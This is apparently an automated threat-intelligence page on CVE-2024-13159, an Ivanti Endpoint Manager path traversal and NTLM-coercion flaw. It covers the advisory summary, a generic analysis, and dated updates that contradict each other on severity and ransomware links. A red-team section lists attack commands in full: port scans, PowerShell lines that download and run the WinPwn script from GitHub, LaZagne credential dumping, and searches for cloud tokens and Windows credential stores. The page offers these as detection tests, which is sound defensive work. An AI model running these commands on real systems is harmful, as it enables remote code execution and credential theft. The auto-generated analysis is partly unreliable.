CVE-2024-13159
Overview
The vulnerability is an absolute path traversal flaw in Ivanti Endpoint Manager's file handling mechanism. It arises from improper validation of input parameters that accept file paths, allowing attackers to specify arbitrary absolute paths. This issue affects the Ivanti Endpoint Manager component responsible for processing file system paths in certain API endpoints prior to the 2024 January-2025 Security Update and the 2022 SU6 January-2025 Security Update.
Vulnerability Description
Absolute path traversal in Ivanti EPM before the 2024 January-2025 Security Update and 2022 SU6 January-2025 Security Update allows a remote unauthenticated attacker to leak sensitive information.
Impact
An unauthenticated remote attacker can exploit this vulnerability to coerce the Ivanti Endpoint Manager server into initiating NTLM authentication to an attacker-controlled system, resulting in credential theft via man-in-the-middle interception. No authentication or user interaction is required to trigger this behavior. This can lead to sensitive credential disclosure, enabling further lateral movement or privilege escalation within the targeted environment.
Solution
Apply the Ivanti Endpoint Manager January 2025 Security Update for both the 2024 and 2022 SU6 branches as detailed in the official Ivanti advisory available at https://forums.ivanti.com/s/article/Security-Advisory-EPM-January-2025-for-EPM-2024-and-EPM-2022-SU6. The update addresses the absolute path traversal and credential coercion vulnerabilities. Follow vendor instructions precisely to ensure complete remediation.
EPSS vs KEV Prediction — Evolution (30 days)
Ransomware Intelligence
Predictions
Predictions are based on analysis of past ransomware group behaviors and their predilection for specific vulnerability characteristics, such as vendor, product, and flaw type.
The groups below are predictions based on historical exploitation patterns of the same vendor/product. These are not confirmations.
Full Analysis
The vulnerability in Ivanti Endpoint Manager stems from an absolute path traversal flaw, which allows remote unauthenticated attackers to access sensitive information stored on the server. This type of vulnerability occurs when an application does not properly validate user input, enabling an attacker to manipulate file paths. By exploiting this flaw, an attacker can potentially read files outside the intended directory, leading to unauthorized access to sensitive data such as configuration files, user credentials, or other critical information. The issue is particularly concerning as it affects multiple versions of the Endpoint Manager, including those prior to the January 2025 Security Update and several specific updates from 2022.
Attack vectors for this vulnerability are relatively straightforward, as they do not require authentication, making it accessible to a wide range of potential attackers. An attacker could craft a malicious request that includes directory traversal sequences (e.g., "../") to navigate the file system and access files that should be restricted. For instance, by sending a specially crafted HTTP request to the affected application, an attacker could retrieve sensitive files that contain configuration settings or user data. This exploitation could be executed from anywhere on the internet, significantly increasing the risk of data breaches, especially for organizations that may not have robust perimeter defenses in place.
The real-world impact of this vulnerability can be severe, particularly for organizations that rely on Ivanti Endpoint Manager for managing their IT infrastructure. The potential for sensitive data leakage poses significant business risks, including reputational damage, regulatory penalties, and financial losses. If an attacker successfully exploits this vulnerability, they could gain access to critical information that could be used for further attacks, such as identity theft or corporate espionage. Additionally, the exposure of sensitive data could lead to compliance violations, especially for organizations subject to regulations such as GDPR or HIPAA, which mandate strict data protection measures.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regularly updating the Endpoint Manager to the latest versions provided by Ivanti is crucial, as these updates often include patches for known vulnerabilities. Furthermore, employing web application firewalls (WAF) can help filter out malicious requests that attempt to exploit path traversal vulnerabilities. Organizations should also conduct regular security assessments and penetration testing to identify potential weaknesses in their systems. Additionally, implementing strict access controls and monitoring for unusual access patterns can help detect and respond to exploitation attempts in real-time.
In conclusion, the absolute path traversal vulnerability in Ivanti Endpoint Manager presents a significant risk to organizations that utilize this software for endpoint management. The ease of exploitation combined with the potential for severe consequences necessitates immediate attention from affected entities. By prioritizing timely updates, employing security best practices, and fostering a culture of security awareness, organizations can better protect themselves against the threats posed by this and similar vulnerabilities.
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2024-13159, indicating increased exploitation attempts targeting Ivanti Endpoint Manager. This uptick, while still emerging, signals growing adversary interest and potential reconnaissance or initial access operations leveraging the absolute path traversal vulnerability. The appearance of new proof-of-concept exploits circulating publicly further lowers the barrier for threat actors to weaponize this flaw, amplifying the risk to affected environments. Although ransomware involvement remains unconfirmed, the heightened activity underscores the vulnerability’s attractiveness as a vector for sensitive information disclosure, which could facilitate subsequent intrusion stages. Consequently, the threat level associated with CVE-2024-13159 has intensified from a latent concern to an active exploitation phase, warranting elevated vigilance from defenders monitoring endpoint management infrastructure.
Update 2 — May 20, 2026
CSURFACE threat intelligence has identified a critical reassessment of CVE-2024-13159’s severity, with the CVSS score elevated from 7.5 to 9.8, reflecting a more accurate depiction of its exploitability and impact. This adjustment coincides with the vulnerability’s recent inclusion in the Known Exploited Vulnerabilities (KEV) catalog, signaling recognition by authoritative bodies of its active threat status. Although telemetry indicates a significant reduction in detection activity, the emergence of a ransomware group association—previously unreported—marks a concerning development, suggesting that adversaries are increasingly integrating this flaw into their operational toolkits. The slight decline in the Exploit Prediction Scoring System (EPSS) score does not diminish the heightened criticality but rather underscores a transient lull in exploitation attempts, which may precede renewed offensive campaigns. The availability of public proof-of-concept exploits continues to lower barriers for threat actors, amplifying the risk of sensitive information disclosure and potential lateral movement within compromised networks. For defenders, these changes necessitate recalibrated risk assessments, as the vulnerability now presents a more imminent and severe threat vector, particularly given its ransomware linkage and formal KEV listing. Consequently, CVE-2024-13159’s threat level has escalated from a latent vulnerability to a critical priority requiring sustained monitoring and response readiness.
Update 3 — June 07, 2026
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2024-13159, with telemetry indicating a doubling in observed exploitation attempts. This increase coincides with the recent inclusion of this vulnerability in the KEV catalog, underscoring its growing prominence in the threat landscape. Although the EPSS score remains high and stable, the slight upward adjustment reflects a subtle intensification in exploitation potential. Notably, no confirmed ransomware campaigns have been linked to this vulnerability to date, and associated threat actor activity remains limited. However, the availability of public proof-of-concept exploits continues to lower the barrier for adversaries, amplifying the risk of sensitive data exposure through remote, unauthenticated access. For defenders, this evolving pattern signals a transition from theoretical risk to active exploitation attempts, necessitating heightened vigilance. Consequently, the threat level for CVE-2024-13159 has shifted toward a more immediate concern, reinforcing its status as a critical priority within endpoint security frameworks.
Update 4 — June 15, 2026
The recent adjustment of CVE-2024-13159’s CVSS score from 9.8 to 7.5 reflects a refined understanding of its exploitability and impact, aligning with updated vulnerability assessments and patch availability. Despite the lowered severity rating, the EPSS score’s increase to nearly 1.0 indicates an elevated likelihood of exploitation in the wild, corroborated by a slight upward trend in exploit attempts detected by our telemetry. The inclusion of this vulnerability in the KEV catalog underscores its recognized importance within the security community, although no confirmed ransomware campaigns or high-confidence threat actor associations have emerged to date. The availability of public proof-of-concept exploits continues to facilitate adversary engagement, sustaining pressure on defenders to monitor for unauthorized access attempts. Consequently, while the immediate criticality has been moderated, the persistent exploitation potential and active interest from the attacker community maintain CVE-2024-13159 as a significant threat requiring ongoing vigilance.
Update 5 — June 22, 2026
CSURFACE threat intelligence has identified a notable increase in detection activity related to CVE-2024-13159, reflecting a subtle but meaningful escalation in adversary engagement targeting Ivanti Endpoint Manager. This upward trend in telemetry suggests that threat actors are intensifying reconnaissance or exploitation attempts, likely leveraging the publicly available proof-of-concept exploit to probe vulnerable environments. Although ransomware groups remain unassociated with this vulnerability, the growing frequency of exploitation attempts elevates the risk of sensitive information disclosure, which could serve as a precursor to more complex attack chains. Consequently, this development underscores the necessity for defenders to maintain heightened monitoring and response capabilities. While the overall threat level remains high due to the vulnerability’s inherent severity and exploitability, the recent surge in activity signals an increased immediacy in potential impact, warranting sustained vigilance.
Update 6 — July 08, 2026
CSURFACE threat intelligence has detected a slight increase in activity exploiting CVE-2024-13159, reflected by a modest rise in telemetry signals. Although the overall trend remains stable without rapid escalation, this uptick indicates continued adversary interest in leveraging the absolute path traversal vulnerability within Ivanti Endpoint Manager. The persistence of publicly available proof-of-concept exploits likely contributes to sustained probing attempts. While no direct ransomware group associations have emerged, the incremental growth in exploitation attempts heightens the risk of sensitive data leakage, which could facilitate subsequent attack stages. This subtle but consistent increase underscores the need for defenders to maintain vigilant monitoring, as the threat environment remains dynamic. Consequently, the risk level remains elevated, with the evolving activity suggesting a gradual intensification of exploitation efforts rather than an abrupt surge.
Affected Products (9)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Ivanti | Endpoint Manager | All |
cpe:2.3:a:ivanti:endpoint_manager:*:-:*:*:*:*:*:*
|
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|
Ivanti | Endpoint Manager | 2022 |
cpe:2.3:a:ivanti:endpoint_manager:2022:-:*:*:*:*:*:*
|
|
|
Ivanti | Endpoint Manager | 2022 |
cpe:2.3:a:ivanti:endpoint_manager:2022:su1:*:*:*:*:*:*
|
|
|
Ivanti | Endpoint Manager | 2022 |
cpe:2.3:a:ivanti:endpoint_manager:2022:su2:*:*:*:*:*:*
|
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|
Ivanti | Endpoint Manager | 2022 |
cpe:2.3:a:ivanti:endpoint_manager:2022:su3:*:*:*:*:*:*
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Ivanti | Endpoint Manager | 2022 |
cpe:2.3:a:ivanti:endpoint_manager:2022:su4:*:*:*:*:*:*
|
|
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Ivanti | Endpoint Manager | 2022 |
cpe:2.3:a:ivanti:endpoint_manager:2022:su5:*:*:*:*:*:*
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Ivanti | Endpoint Manager | 2022 |
cpe:2.3:a:ivanti:endpoint_manager:2022:su6:*:*:*:*:*:*
|
|
|
Ivanti | Endpoint Manager | 2024 |
cpe:2.3:a:ivanti:endpoint_manager:2024:-:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
horizon3ai/Ivanti-EPM-Coercion-Vulnerabilities
Proof of concept exploit for Ivanti EPM CVE-2024-13159 and others
|
horizon3ai | 13 | 2 | 2025-02-18 | View |
Threat Feed
14 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Ransomware group known to exploit this vulnerability
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-597 | Absolute Path Traversal |
36%
|
— | — |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-13159 |
| forums.ivanti.com |
GitHub CVE
|
https://forums.ivanti.com/s/article/Security-Advisory-EPM-January-2025-for-EPM-2024-and-EPM-2022-SU6 |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-13159 |
| horizon3.ai |
NVD API
Exploit
Third Party Advisory
|
https://www.horizon3.ai/attack-research/attack-blogs/ivanti-endpoint-manager-multiple-credential-coercion-vulnerabilities/ |